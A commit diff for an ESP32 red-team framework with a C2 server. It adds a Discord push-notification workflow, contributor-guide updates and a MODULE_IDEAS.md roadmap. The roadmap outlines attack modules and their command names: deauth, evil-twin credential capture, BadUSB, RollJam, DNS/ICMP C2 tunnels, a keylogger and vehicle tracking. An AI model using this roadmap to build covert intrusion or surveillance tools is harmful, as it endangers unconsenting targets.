Merge ε-dev: v0.3.0 release

Core refactor, 5 new ESP32 modules (canbus, honeypot, fallback,
redteam, OTA), C3PO server rewrite, deploy system, espmon.
Credential cleanup (sdkconfig.defaults removed from tracking).
This commit is contained in:
Eun0us 2026-02-28 20:17:18 +01:00
commit cd0e72e750
269 changed files with 31650 additions and 7587 deletions

53
.github/workflows/discord-notify.yml vendored Normal file
View File

@ -0,0 +1,53 @@
name: Discord Push Notification
on:
push:
branches: ['**']
jobs:
notify:
runs-on: ubuntu-latest
steps:
- name: Send Discord notification
env:
DISCORD_WEBHOOK: ${{ secrets.DISCORD_WEBHOOK_URL }}
COMMIT_MSG: ${{ github.event.head_commit.message }}
run: |
BRANCH="${GITHUB_REF#refs/heads/}"
REPO="${{ github.repository }}"
AUTHOR="${{ github.event.head_commit.author.username }}"
COMMIT_SHA="${{ github.sha }}"
SHORT_SHA="${COMMIT_SHA:0:7}"
COMMIT_URL="${{ github.event.head_commit.url }}"
COMPARE_URL="${{ github.event.compare }}"
COMMIT_COUNT="${{ github.event.size }}"
TIMESTAMP="$(date -u +%Y-%m-%dT%H:%M:%S.000Z)"
# Truncate commit message for embed
FIRST_LINE=$(echo "$COMMIT_MSG" | head -n1 | cut -c1-256)
curl -s -o /dev/null -w "%{http_code}" -H "Content-Type: application/json" \
-X POST "$DISCORD_WEBHOOK" \
-d @- <<EOF
{
"embeds": [{
"title": "Push on \`${BRANCH}\`",
"url": "${COMPARE_URL}",
"color": 16312092,
"author": {
"name": "${AUTHOR}",
"url": "https://github.com/${AUTHOR}",
"icon_url": "https://github.com/${AUTHOR}.png"
},
"description": "[\`${SHORT_SHA}\`](${COMMIT_URL}) ${FIRST_LINE}",
"fields": [
{ "name": "Repository", "value": "[${REPO}](https://github.com/${REPO})", "inline": true },
{ "name": "Branch", "value": "\`${BRANCH}\`", "inline": true }
],
"timestamp": "${TIMESTAMP}",
"footer": {
"text": "GitHub Push"
}
}]
}
EOF

33
.gitignore vendored
View File

@ -2,6 +2,7 @@
espilon_bot/build/
espilon_bot/sdkconfig
espilon_bot/sdkconfig.old
espilon_bot/sdkconfig.defaults
espilon_bot/.config
espilon_bot/.config.old
@ -30,18 +31,28 @@ ENV/
.venv
# Tools - Python dependencies
tools/c2/__pycache__/
tools/c3po/__pycache__/
tools/flasher/__pycache__/
tools/C3PO/__pycache__/
*.pyc
# Configuration files with secrets
tools/flasher/devices.json
tools/flasher/devices.*.json
tools/c2/config.json
tools/c3po/config.json
tools/C3PO/config.json
tools/deploy.json
**/config.local.json
# C3PO runtime / secrets
tools/C3PO/keys.json
tools/C3PO/*.db
tools/C3PO/data/
# Honeypot runtime databases (can appear anywhere)
honeypot_events.db
honeypot_events.db-shm
honeypot_events.db-wal
honeypot_alerts.db
honeypot_geo.db
*.db-shm
*.db-wal
# Logs
*.log
logs/
@ -49,8 +60,8 @@ espilon_bot/logs/
sdkconfig
# C2 Runtime files (camera streams, recordings)
tools/c2/static/streams/*.jpg
tools/c2/static/recordings/*.avi
tools/C3PO/static/streams/*.jpg
tools/C3PO/static/recordings/*.avi
*.avi
# IDE and Editor
@ -104,6 +115,10 @@ htmlcov/
*.backup
*_backup
# Internal planning
plan.md
*.plan.md
# Hardware-specific configs (optional)
# Uncomment if you don't want to track these
# espilon_bot/partitions.csv

View File

@ -131,7 +131,7 @@ Thank you for your interest in contributing to Espilon! This document provides g
- Tests and test infrastructure
- Security enhancements
- Translations
- Tool improvements (C2, flasher, etc.)
- Tool improvements (C2, deploy, etc.)
**Getting started**:
@ -348,7 +348,8 @@ mypy tools/c2/
- `chore`: Build system, dependencies, etc.
**Scope** (optional): Module or component affected
- `core`, `mod_network`, `mod_fakeap`, `c2`, `docs`, etc.
- `core`, `mod_network`, `mod_fakeap`, `mod_tunnel`, `mod_redteam`, `mod_honeypot`, `mod_canbus`, `c2`, `docs`, etc.
**Examples**:
```
@ -415,7 +416,7 @@ idf.py monitor
**For C2 changes**:
```bash
cd tools/c2
python3 c3po.py --port 2626
python3 c3po.py
# Test with connected ESP32
```
@ -589,16 +590,20 @@ epsilon/
├── espilon_bot/ # ESP32 firmware
│ ├── components/ # Modular components
│ │ ├── core/ # Core functionality
│ │ ├── command/ # Command system
│ │ ├── mod_system/ # System module
│ │ ├── mod_network/ # Network module
│ │ ├── mod_network/ # Network + Tunnel module
│ │ ├── mod_fakeAP/ # FakeAP module
│ │ └── mod_recon/ # Recon module
│ │ ├── mod_recon/ # Recon module
│ │ ├── mod_redteam/ # Red Team module
│ │ ├── mod_honeypot/ # Honeypot module
│ │ ├── mod_canbus/ # CAN Bus module
│ │ ├── mod_fallback/ # Fallback connectivity
│ │ └── mod_ota/ # OTA updates
│ └── main/ # Main application
├── tools/ # Supporting tools
│ ├── c2/ # C2 server (Python)
│ ├── flasher/ # Multi-flasher tool
│ └── nan/ # NanoPB tools
│ ├── C3PO/ # C2 server (Python)
│ ├── deploy.py # Unified build, provision & flash
│ └── nanoPB/ # Protobuf definitions
├── docs/ # Documentation
│ ├── INSTALL.md
│ ├── HARDWARE.md

796
MODULE_IDEAS.md Normal file
View File

@ -0,0 +1,796 @@
# Espilon Module Ideas
Future module ideas for the Espilon agent framework, organized by category. Each entry includes hardware requirements, estimated cost, complexity (1-5), and key C2 commands.
> **Legend**: Complexity 1 = simple wrapper, 5 = full protocol stack. Cost = additional hardware beyond ESP32.
---
## Table of Contents
- [Radio & Wireless](#radio--wireless)
- [USB & HID](#usb--hid)
- [Hardware Hacking](#hardware-hacking)
- [Network & Protocols](#network--protocols)
- [Industrial & SCADA](#industrial--scada)
- [Exfiltration & Covert Channels](#exfiltration--covert-channels)
- [Sensors & Environment](#sensors--environment)
- [Crypto & WiFi Attacks](#crypto--wifi-attacks)
- [Automotive](#automotive)
- [Physical Security](#physical-security)
---
## Radio & Wireless
### mod_ble — Bluetooth Low Energy
**Hardware**: ESP32 built-in | **Cost**: 0 EUR | **Complexity**: 3/5
BLE scanning, GATT enumeration, beacon spoofing, and device tracking.
**Commands**:
- `ble_scan [duration]` — Discover BLE devices (name, RSSI, services)
- `ble_enum <addr>` — Enumerate GATT services and characteristics
- `ble_read <addr> <handle>` — Read characteristic value
- `ble_write <addr> <handle> <hex>` — Write to characteristic
- `ble_beacon <uuid> [major] [minor]` — Spoof iBeacon/Eddystone
- `ble_track <addr> [duration]` — Track device RSSI over time
- `ble_flood [count]` — Broadcast random BLE advertisements
**Use cases**: IoT device recon, BLE lock testing, asset tracking, Bluetooth phishing.
---
### mod_zigbee — IEEE 802.15.4 / Zigbee
**Hardware**: CC2530/CC2531 module via UART | **Cost**: ~4 EUR | **Complexity**: 4/5
Sniff, inject, and replay Zigbee/802.15.4 frames. Targets smart home (Philips Hue, SmartThings, Ikea).
**Commands**:
- `zigbee_scan [channel]` — Discover Zigbee networks and devices
- `zigbee_sniff <channel> [duration]` — Capture 802.15.4 frames
- `zigbee_inject <channel> <hex_frame>` — Inject raw frame
- `zigbee_replay` — Replay captured frames
- `zigbee_key_sniff [duration]` — Capture transport key exchange
- `zigbee_jam <channel>` — Channel jamming
**Use cases**: Smart home testing, IoT protocol analysis, Zigbee network penetration.
---
### mod_nfc — RFID / NFC
**Hardware**: RC522 (MIFARE) or PN532 (full NFC) via SPI | **Cost**: ~3 EUR | **Complexity**: 3/5
Read, write, clone, and emulate RFID/NFC tags. Supports MIFARE Classic, NTAG, and ISO 14443.
**Commands**:
- `nfc_scan` — Detect tags in range (UID, type, ATQA, SAK)
- `nfc_read <sector> [key]` — Read MIFARE sector
- `nfc_write <sector> <hex> [key]` — Write to sector
- `nfc_clone` — Read tag → store → emulate (UID-level clone)
- `nfc_crack <sector>` — MIFARE Classic key recovery (nested/hardnested)
- `nfc_dump` — Dump full tag contents
- `nfc_emulate <uid>` — Emulate tag UID
**Use cases**: Access card cloning, NFC payment research, badge system testing.
---
### mod_subghz — Sub-GHz Radio (433/868/915 MHz)
**Hardware**: CC1101 module via SPI | **Cost**: ~3 EUR | **Complexity**: 4/5
Sniff, decode, record, and replay sub-GHz radio signals. Targets garage doors, remotes, weather stations, sensors.
**Commands**:
- `subghz_rx <freq_mhz> [modulation]` — Listen on frequency (ASK/FSK/GFSK)
- `subghz_tx <freq_mhz> <hex_data> [repeat]` — Transmit raw data
- `subghz_scan <start_mhz> <end_mhz>` — Frequency scanner (find active freqs)
- `subghz_record <freq_mhz> [duration]` — Record raw signal
- `subghz_replay [speed]` — Replay recorded signal
- `subghz_decode <protocol>` — Decode known protocols (Oregon, LaCrosse, etc.)
- `subghz_bruteforce <freq_mhz> <bits> [delay]` — Brute-force fixed codes
**Use cases**: Garage door testing, remote control analysis, sensor spoofing, ISM band recon.
---
### mod_lora — LoRa Long-Range Mesh
**Hardware**: SX1276/SX1278 module via SPI | **Cost**: ~5 EUR | **Complexity**: 3/5
LoRa-based backup C2 channel and mesh network for long-range, low-bandwidth communication.
**Commands**:
- `lora_start <freq_mhz> [sf] [bw]` — Init LoRa radio (spreading factor, bandwidth)
- `lora_send <hex_data>` — Send raw LoRa packet
- `lora_listen [duration]` — Receive packets
- `lora_mesh_start` — Enable mesh relay mode (multi-hop)
- `lora_c2_enable` — Use LoRa as backup C2 channel
- `lora_range_test` — Ping-pong range measurement
**Use cases**: Backup C2 (1-10 km range), field mesh network, exfiltration when WiFi unavailable.
---
### mod_ir — Infrared TX/RX
**Hardware**: IR LED + IR receiver (VS1838B) | **Cost**: ~1 EUR | **Complexity**: 2/5
Capture, decode, and replay infrared remote signals. Universal remote functionality.
**Commands**:
- `ir_learn [timeout]` — Record IR signal from any remote
- `ir_send <protocol> <code>` — Send known protocol (NEC, Sony, RC5, Samsung)
- `ir_replay` — Replay last captured signal
- `ir_scan` — Brute-force common power codes (TV-B-Gone style)
- `ir_raw_send <timing_data>` — Send raw pulse/space timing
**Use cases**: TV/AC control, IR protocol analysis, physical access (some locks use IR).
---
### mod_espnow_swarm — Coordinated ESP-NOW Swarm
**Hardware**: Additional ESP32 agents | **Cost**: 0 EUR per agent | **Complexity**: 4/5
Coordinate multiple Espilon agents via ESP-NOW for distributed operations. Mesh-aware task distribution.
**Commands**:
- `swarm_discover` — Find nearby Espilon agents
- `swarm_broadcast <command>` — Send command to all agents
- `swarm_assign <agent_id> <command>` — Targeted task assignment
- `swarm_sync` — Synchronize clocks for coordinated actions
- `swarm_scan_distributed <target>` — Parallel network scanning from multiple positions
- `swarm_relay <agent_id>` — Use agent as relay for out-of-range C2
**Use cases**: Distributed WiFi scanning, coordinated deauth, coverage extension, multi-angle recon.
---
### mod_tpms — Tire Pressure Monitoring
**Hardware**: CC1101 (315 or 433 MHz) | **Cost**: ~3 EUR | **Complexity**: 3/5
Sniff and spoof TPMS sensors at 315/433 MHz. Vehicle identification via unique sensor IDs.
**Commands**:
- `tpms_listen [duration]` — Capture TPMS broadcasts
- `tpms_decode` — Show decoded sensor data (pressure, temp, ID)
- `tpms_track <sensor_id>` — Track specific vehicle presence
- `tpms_spoof <sensor_id> <pressure> <temp>` — Inject fake reading
**Use cases**: Vehicle tracking via TPMS IDs, TPMS protocol research.
---
## USB & HID
### mod_badusb — USB HID Injection
**Hardware**: ESP32-S2 or ESP32-S3 (native USB) | **Cost**: 0 EUR | **Complexity**: 3/5
Keystroke injection attack via USB HID. Triggered remotely from C2.
**Commands**:
- `badusb_run <payload_name>` — Execute named payload
- `badusb_type <text>` — Type arbitrary text
- `badusb_key <combo>` — Send key combo (e.g., `WIN+R`, `CTRL+ALT+DEL`)
- `badusb_delay <ms>` — Wait between keystrokes
- `badusb_upload <script>` — Upload Ducky Script payload
- `badusb_list` — List stored payloads
- `badusb_os_detect` — Detect target OS via timing analysis
**Use cases**: Physical access exploitation, credential harvesting, reverse shell deployment.
---
### mod_rubber_ducky — Ducky Script Interpreter
**Hardware**: ESP32-S2/S3 | **Cost**: 0 EUR | **Complexity**: 2/5
Full Ducky Script interpreter for scripted USB HID payloads. Companion to mod_badusb.
**Commands**:
- `ducky_load <script>` — Load script from NVS or C2
- `ducky_exec` — Execute loaded script
- `ducky_store <name> <script>` — Save payload to NVS
- `ducky_list` — List stored scripts
---
### mod_usb_mitm — USB Man-in-the-Middle
**Hardware**: ESP32-S3 (dual USB ports) | **Cost**: 0 EUR | **Complexity**: 5/5
Transparent USB proxy: sniff, modify, or inject traffic between host and device.
**Commands**:
- `usb_mitm_start` — Start USB proxy
- `usb_mitm_sniff [class]` — Log traffic (HID, mass storage, etc.)
- `usb_mitm_inject <hex>` — Inject USB packets
- `usb_mitm_filter <rule>` — Modify packets in transit
**Use cases**: USB protocol analysis, keyboard sniffing, mass storage interception.
---
## Hardware Hacking
### mod_jtag — JTAG/SWD Debug Interface
**Hardware**: GPIO wires (no extra module) | **Cost**: 0 EUR | **Complexity**: 4/5
Bit-bang JTAG/SWD for firmware extraction, debug access, and boundary scan on target devices.
**Commands**:
- `jtag_scan` — Detect JTAG chain (IDCODE scan)
- `jtag_read <addr> <size>` — Read memory via debug port
- `jtag_write <addr> <hex>` — Write memory
- `jtag_dump <addr> <size>` — Dump firmware to C2
- `swd_scan` — Detect SWD target
- `swd_read <addr> <size>` — Read via SWD
- `swd_halt` / `swd_resume` — Halt/resume target CPU
**Use cases**: Firmware extraction from IoT devices, bypassing read-out protection, live debugging.
---
### mod_uart_bridge — UART Sniff/Inject
**Hardware**: GPIO wires (no extra module) | **Cost**: 0 EUR | **Complexity**: 2/5
UART bridge: sniff serial console traffic or inject commands. Auto-detect baud rate.
**Commands**:
- `uart_scan [gpio]` — Auto-detect baud rate on GPIO pin
- `uart_listen <baud> <rx_gpio> [duration]` — Sniff UART traffic
- `uart_send <baud> <tx_gpio> <data>` — Send data
- `uart_bridge <baud> <rx> <tx>` — Bidirectional bridge (relay to C2)
**Use cases**: Router console access, IoT device debug ports, embedded system exploitation.
---
### mod_i2c_scan — I2C Bus Discovery
**Hardware**: GPIO wires | **Cost**: 0 EUR | **Complexity**: 2/5
Scan, read, and write I2C devices. EEPROM dumping and sensor spoofing.
**Commands**:
- `i2c_scan [sda] [scl]` — Discover devices on bus
- `i2c_read <addr> <reg> <len>` — Read registers
- `i2c_write <addr> <reg> <hex>` — Write registers
- `i2c_dump_eeprom <addr> <size>` — Dump EEPROM contents
**Use cases**: EEPROM credential extraction, sensor data manipulation, I2C device enumeration.
---
### mod_spi_flash — SPI Flash Dumper
**Hardware**: SOIC-8 clip + GPIO wires | **Cost**: ~5 EUR | **Complexity**: 3/5
Read/write SPI NOR flash chips (25xx series). In-circuit or off-board.
**Commands**:
- `spi_flash_detect` — Read JEDEC ID, detect chip
- `spi_flash_read <addr> <size>` — Read flash to C2
- `spi_flash_write <addr> <hex>` — Write data
- `spi_flash_erase <addr> <size>` — Erase sectors
- `spi_flash_dump` — Full chip dump
**Use cases**: Firmware extraction, credential recovery, flash image modification.
---
### mod_glitch — Voltage/Clock Glitching
**Hardware**: MOSFET + GPIO (voltage glitch) or clock inject circuit | **Cost**: ~5 EUR | **Complexity**: 5/5
Fault injection: precise voltage or clock glitches to bypass secure boot, skip instructions, or corrupt crypto.
**Commands**:
- `glitch_config <width_ns> <offset_ns> <repeat>` — Set glitch parameters
- `glitch_arm <trigger_gpio>` — Arm, fire on trigger edge
- `glitch_fire` — Manual trigger
- `glitch_sweep <start_ns> <end_ns> <step>` — Automated parameter sweep
**Use cases**: Secure boot bypass, read-out protection defeat, crypto fault injection.
---
## Network & Protocols
### mod_dns — DNS Spoofing & Tunneling
**Hardware**: None (WiFi) | **Cost**: 0 EUR | **Complexity**: 3/5
DNS server for spoofing + DNS tunnel for covert data exfiltration through firewalls.
**Commands**:
- `dns_spoof_start <domain> <ip>` — Spoof specific domain resolution
- `dns_spoof_all <ip>` — Redirect all DNS queries to IP
- `dns_spoof_stop` — Stop spoofing
- `dns_tunnel_start <domain>` — Start DNS tunnel (data over TXT/CNAME)
- `dns_tunnel_send <hex>` — Exfiltrate data via DNS
**Use cases**: Pharming, captive portal bypass, firewall evasion, covert exfiltration.
---
### mod_dhcp — DHCP Attacks
**Hardware**: None (WiFi) | **Cost**: 0 EUR | **Complexity**: 3/5
DHCP starvation and rogue DHCP server for MitM via gateway redirection.
**Commands**:
- `dhcp_starve [count]` — Exhaust DHCP pool with fake MACs
- `dhcp_rogue_start <gateway_ip> <dns_ip>` — Start rogue DHCP server
- `dhcp_rogue_stop` — Stop rogue server
- `dhcp_discover` — Passive DHCP monitoring
**Use cases**: MitM setup, network disruption, rogue gateway for traffic interception.
---
### mod_mdns — mDNS/Bonjour Discovery
**Hardware**: None (WiFi) | **Cost**: 0 EUR | **Complexity**: 2/5
Discover and spoof local services via mDNS (Bonjour, Avahi).
**Commands**:
- `mdns_scan [duration]` — Discover all mDNS services
- `mdns_query <service>` — Query specific service type (_http._tcp, _ssh._tcp, etc.)
- `mdns_spoof <hostname> <ip>` — Spoof mDNS response
- `mdns_register <service> <port>` — Advertise fake service
**Use cases**: Local service enumeration, service spoofing, printer/AirPlay impersonation.
---
### mod_mqtt — MQTT Broker/Client
**Hardware**: None (WiFi) | **Cost**: 0 EUR | **Complexity**: 3/5
MQTT client for IoT device interaction + rogue broker for message interception.
**Commands**:
- `mqtt_connect <broker> [user] [pass]` — Connect to broker
- `mqtt_sub <topic>` — Subscribe and stream messages to C2
- `mqtt_pub <topic> <payload>` — Publish message
- `mqtt_enum` — Enumerate all topics (wildcard subscribe)
- `mqtt_broker_start [port]` — Start rogue MQTT broker
- `mqtt_intercept <topic>` — MitM specific topic
**Use cases**: IoT device control, smart home exploitation, message injection, credential sniffing.
---
### mod_coap — CoAP Discovery & Exploitation
**Hardware**: None (WiFi) | **Cost**: 0 EUR | **Complexity**: 3/5
CoAP client for constrained IoT device interaction (UDP-based REST).
**Commands**:
- `coap_discover <ip>` — Discover CoAP resources (.well-known/core)
- `coap_get <uri>` — GET resource
- `coap_put <uri> <payload>` — PUT resource
- `coap_observe <uri>` — Subscribe to resource changes
**Use cases**: IoT device enumeration, sensor data extraction, actuator control.
---
### mod_upnp — UPnP/SSDP Discovery
**Hardware**: None (WiFi) | **Cost**: 0 EUR | **Complexity**: 2/5
Discover and interact with UPnP devices on the network. Map router port forwards.
**Commands**:
- `upnp_scan` — Discover UPnP devices (SSDP M-SEARCH)
- `upnp_describe <url>` — Get device description XML
- `upnp_port_map <ext_port> <int_ip> <int_port>` — Add port mapping on router
- `upnp_port_list` — List existing port mappings
- `upnp_port_del <ext_port>` — Remove port mapping
**Use cases**: Router exploitation, port mapping for persistence, device enumeration.
---
### mod_socks — SOCKS5 Proxy
**Hardware**: None (WiFi) | **Cost**: 0 EUR | **Complexity**: 3/5
Full SOCKS5 proxy running on the agent for network pivoting.
**Commands**:
- `socks_start [port] [auth]` — Start SOCKS5 server
- `socks_stop` — Stop proxy
- `socks_status` — Active connections, bandwidth stats
- `socks_whitelist <ip>` — Allow only specific clients
**Use cases**: Network pivoting, traffic routing through agent, accessing internal networks.
---
### mod_wifi_rogue — Advanced Evil Twin
**Hardware**: None (WiFi) | **Cost**: 0 EUR | **Complexity**: 5/5
WPA2-Enterprise Evil Twin with EAP credential interception (EAP-TTLS, PEAP, MSCHAPv2).
**Commands**:
- `rogue_start <ssid> [eap_type]` — Start evil twin with RADIUS
- `rogue_stop` — Stop
- `rogue_creds` — List captured credentials
- `rogue_deauth <bssid> <station>` — Force client reconnection to rogue AP
**Use cases**: Enterprise WiFi credential harvesting, WPA2-Enterprise testing.
---
## Industrial & SCADA
### mod_modbus — Modbus TCP/RTU
**Hardware**: None (TCP) or MAX485 (~2 EUR for RTU) | **Cost**: 0-2 EUR | **Complexity**: 3/5
Modbus protocol for SCADA/ICS reconnaissance and interaction.
**Commands**:
- `modbus_scan <ip_range>` — Discover Modbus TCP devices
- `modbus_read <ip> <unit> <addr> <count> [type]` — Read holding/input registers
- `modbus_write <ip> <unit> <addr> <value>` — Write register
- `modbus_coils <ip> <unit> <addr> <count>` — Read/write coils
- `modbus_enum <ip>` — Enumerate function codes and unit IDs
- `modbus_rtu_scan <baud>` — Scan RTU bus (RS-485)
**Use cases**: SCADA assessment, PLC interaction, industrial network mapping.
---
### mod_bacnet — Building Automation
**Hardware**: None (WiFi/Ethernet) | **Cost**: 0 EUR | **Complexity**: 4/5
BACnet protocol for building automation system interaction (HVAC, lighting, access).
**Commands**:
- `bacnet_discover` — Who-Is broadcast, discover BACnet devices
- `bacnet_read <device> <object> <property>` — Read property
- `bacnet_write <device> <object> <property> <value>` — Write property
- `bacnet_enum <device>` — Enumerate objects on device
**Use cases**: Building automation testing, HVAC control, access system research.
---
### mod_ethernet — Wired Ethernet (W5500)
**Hardware**: W5500 or ENC28J60 SPI module | **Cost**: ~4 EUR | **Complexity**: 3/5
Wired Ethernet connectivity — bypass WiFi isolation, direct LAN access.
**Commands**:
- `eth_start [dhcp|static <ip>]` — Init Ethernet interface
- `eth_status` — Link state, IP config
- `eth_scan` — ARP scan on wired LAN
- `eth_bridge` — Bridge WiFi ↔ Ethernet traffic
**Use cases**: Drop box on wired network, bypass wireless ACLs, physical pentesting.
---
## Exfiltration & Covert Channels
### mod_dns_tunnel — C2 over DNS
**Hardware**: None (WiFi) | **Cost**: 0 EUR | **Complexity**: 4/5
Full C2 communication over DNS queries/responses. Bypasses most firewalls.
**Commands**:
- `dns_c2_start <domain> <resolver>` — Start DNS C2 channel
- `dns_c2_stop` — Revert to TCP
- `dns_c2_status` — Throughput, latency stats
**Use cases**: Firewall bypass, restricted network C2, exfiltration through corporate DNS.
---
### mod_icmp_tunnel — C2 over ICMP
**Hardware**: None (WiFi) | **Cost**: 0 EUR | **Complexity**: 3/5
Backup C2 channel using ICMP echo request/reply payloads.
**Commands**:
- `icmp_c2_start <server_ip>` — Start ICMP tunnel
- `icmp_c2_stop` — Revert to TCP
- `icmp_exfil <hex_data>` — One-shot data exfiltration
**Use cases**: C2 when TCP is blocked, ping-based covert channel.
---
### mod_audio_exfil — Audio Capture
**Hardware**: INMP441 I2S MEMS microphone | **Cost**: ~3 EUR | **Complexity**: 4/5
Audio recording and optional ultrasonic covert channel for air-gapped data transfer.
**Commands**:
- `audio_record [duration] [quality]` — Record audio, stream to C2
- `audio_level` — Ambient noise level (trigger-based recording)
- `audio_vad_start` — Voice Activity Detection — record only when speaking
- `audio_ultrasonic_tx <hex>` — Transmit data via ultrasound (18-22 kHz)
**Use cases**: Environmental awareness, meeting capture, air-gap bridging.
---
### mod_sdcard — SD Card Storage
**Hardware**: MicroSD module via SPI | **Cost**: ~2 EUR | **Complexity**: 2/5
Local offline storage for dead-drop operations, large data dumps, and logging.
**Commands**:
- `sd_init` — Mount SD card
- `sd_write <filename> <data>` — Write file
- `sd_read <filename>` — Read and stream to C2
- `sd_list` — List files
- `sd_log_start` — Log all C2 traffic to SD
- `sd_space` — Free/total space
**Use cases**: Offline data collection, dead-drop exfiltration, large firmware dumps.
---
## Sensors & Environment
### mod_gps — GPS/GNSS Tracking
**Hardware**: NEO-6M/NEO-7M via UART | **Cost**: ~5 EUR | **Complexity**: 2/5
GPS positioning, geofencing, and location-stamped events.
**Commands**:
- `gps_start` — Begin GPS acquisition
- `gps_position` — Current lat/lon/alt/speed
- `gps_track [interval]` — Stream position to C2
- `gps_geofence <lat> <lon> <radius_m> <action>` — Trigger action on enter/exit
- `gps_log_start` — Log positions to NVS
**Use cases**: Asset tracking, geofenced triggers, location-aware operations.
---
### mod_environment — Environmental Sensors
**Hardware**: DHT22/BME280/PIR/LDR | **Cost**: ~3 EUR | **Complexity**: 1/5
Read temperature, humidity, pressure, motion, and light sensors.
**Commands**:
- `env_read` — Read all connected sensors
- `env_monitor [interval]` — Stream readings to C2
- `env_motion_alert` — Alert C2 on PIR trigger
- `env_trigger <sensor> <threshold> <action>` — Conditional triggers
**Use cases**: Physical security awareness, environmental monitoring, trigger-based activation.
---
### mod_power — Power Management
**Hardware**: TP4056 + LiPo battery | **Cost**: ~5 EUR | **Complexity**: 3/5
Battery management, intelligent deep sleep, and solar charging support.
**Commands**:
- `power_status` — Battery voltage, charging state, estimated runtime
- `power_sleep <seconds>` — Enter deep sleep with wake timer
- `power_sleep_until <gpio_trigger>` — Sleep until GPIO event
- `power_profile <mode>` — Power profiles (aggressive, balanced, stealth)
- `power_schedule <cron> <command>` — Scheduled wake + command execution
**Use cases**: Long-duration deployment, battery-powered field operations, solar-powered persistent presence.
---
### mod_display — OLED/TFT Display
**Hardware**: SSD1306 OLED (0.96") or ST7735 TFT via SPI/I2C | **Cost**: ~3 EUR | **Complexity**: 2/5
Local status display for field operations (no C2 needed to see agent state).
**Commands**:
- `display_text <text>` — Show text on screen
- `display_status` — Show device info, connection state, active module
- `display_qr <data>` — Generate QR code on display
- `display_off` — Turn off (stealth)
**Use cases**: Field status monitoring, debug output, one-way info display.
---
## Crypto & WiFi Attacks
### mod_deauth — 802.11 Deauthentication
**Hardware**: None (WiFi) | **Cost**: 0 EUR | **Complexity**: 2/5
Targeted 802.11 deauth for forcing client reconnection (handshake capture setup).
**Commands**:
- `deauth <bssid> <station> [count]` — Targeted deauth
- `deauth_all <bssid> [count]` — Broadcast deauth
- `deauth_continuous <bssid> [interval]` — Persistent deauth
**Use cases**: WPA handshake capture setup, client denial, forced AP migration.
---
### mod_wpa_crack — WPA Handshake Capture
**Hardware**: None (WiFi) | **Cost**: 0 EUR | **Complexity**: 4/5
Capture 4-way handshake and attempt dictionary attack with embedded wordlist.
**Commands**:
- `wpa_capture <bssid> [channel] [timeout]` — Wait for handshake (or deauth to force)
- `wpa_crack <bssid> [wordlist]` — Dictionary attack on captured handshake
- `wpa_export <bssid>` — Export handshake as pcap/hccapx to C2
**Use cases**: WiFi security assessment, credential recovery.
---
### mod_pmkid — PMKID Attack
**Hardware**: None (WiFi) | **Cost**: 0 EUR | **Complexity**: 4/5
Capture PMKID from AP without any connected client. Faster than handshake capture.
**Commands**:
- `pmkid_scan [duration]` — Scan APs and capture PMKIDs
- `pmkid_target <bssid>` — Target specific AP
- `pmkid_export` — Export PMKIDs for offline cracking
**Use cases**: WiFi testing without connected clients, faster WPA cracking.
---
### mod_rfcrack — Rolling Code Analysis
**Hardware**: CC1101 via SPI | **Cost**: ~3 EUR | **Complexity**: 5/5
Analyze and attack rolling code systems (garages, car key fobs, gates).
**Commands**:
- `rfcrack_listen <freq>` — Capture rolling code transmissions
- `rfcrack_analyze` — Identify protocol (KeeLoq, etc.)
- `rfcrack_rolljam <freq>` — RollJam attack (jam + capture + replay)
- `rfcrack_desync <freq>` — De-synchronization attack
**Use cases**: Physical security research, rolling code protocol analysis.
---
## Automotive
### mod_lin_bus — LIN Bus
**Hardware**: MCP2004A LIN transceiver | **Cost**: ~3 EUR | **Complexity**: 3/5
LIN bus (Local Interconnect Network) — sub-bus used for windows, seats, mirrors, lights.
**Commands**:
- `lin_start [baud]` — Init LIN transceiver (default 19200)
- `lin_sniff [duration]` — Capture LIN frames
- `lin_send <id> <data_hex>` — Send LIN frame
- `lin_master_start` — Become LIN master (send schedule table)
- `lin_enum` — Enumerate slave nodes
**Use cases**: Automotive body control testing, seat/window/mirror manipulation.
---
### mod_obd_tracker — OBD-II GPS Tracker
**Hardware**: MCP2515 + NEO-6M GPS | **Cost**: ~8 EUR | **Complexity**: 3/5
Autonomous vehicle tracker: logs GPS position + OBD-II data, reports to C2 when connectivity available.
**Commands**:
- `tracker_start [interval]` — Begin tracking (OBD + GPS)
- `tracker_stop` — Stop and upload buffered data
- `tracker_status` — Current position + vehicle stats
- `tracker_geofence <lat> <lon> <radius>` — Alert on geofence breach
- `tracker_trips` — Summarize recorded trips
**Use cases**: Vehicle tracking, fleet monitoring, trip analysis.
---
### mod_flexray — FlexRay Bus
**Hardware**: FlexRay transceiver (TJA1080) | **Cost**: ~15 EUR | **Complexity**: 5/5
FlexRay monitoring for premium vehicles (BMW, Mercedes, Audi). Deterministic, time-triggered protocol.
**Commands**:
- `flexray_listen <channel>` — Monitor FlexRay channel (A or B)
- `flexray_decode` — Decode known frame IDs
- `flexray_status` — Bus state, cycle time, slot info
**Use cases**: Premium vehicle bus analysis, FlexRay protocol research.
---
## Physical Security
### mod_keylogger — PS/2 Keyboard Logger
**Hardware**: PS/2 connector + GPIO wires | **Cost**: ~2 EUR | **Complexity**: 2/5
Hardware keylogger for PS/2 keyboards. Inline transparent interception.
**Commands**:
- `keylog_start` — Begin capturing keystrokes
- `keylog_stop` — Stop and send buffer to C2
- `keylog_dump` — Send current buffer
- `keylog_live` — Stream keystrokes in real-time to C2
**Use cases**: Physical access keystroke capture.
---
### mod_relay — Relay Control
**Hardware**: Relay module (1/2/4 channel) | **Cost**: ~2 EUR | **Complexity**: 1/5
GPIO relay control for physical actuators (doors, power, devices).
**Commands**:
- `relay_on <channel>` — Activate relay
- `relay_off <channel>` — Deactivate relay
- `relay_pulse <channel> <duration_ms>` — Momentary activation
- `relay_schedule <channel> <cron>` — Scheduled activation
**Use cases**: Physical access control, remote power switching, automated triggers.
---
## Priority Matrix
Modules ranked by impact/effort ratio for implementation priority:
| Priority | Module | Why |
|----------|--------|-----|
| **High** | mod_ble | Built-in hardware, zero cost, huge IoT attack surface |
| **High** | mod_deauth | Simple, essential for WiFi assessment workflows |
| **High** | mod_badusb | ESP32-S2/S3 native USB, high impact physical access |
| **High** | mod_uart_bridge | Zero cost, essential for hardware hacking |
| **High** | mod_dns | WiFi only, enables MitM and exfiltration |
| **Medium** | mod_nfc | Cheap hardware, wide applicability (access cards) |
| **Medium** | mod_subghz | CC1101 is cheap, covers huge attack surface |
| **Medium** | mod_mqtt | IoT everywhere, zero additional hardware |
| **Medium** | mod_socks | Pivoting capability, WiFi only |
| **Medium** | mod_gps | Cheap module, enables location-aware operations |
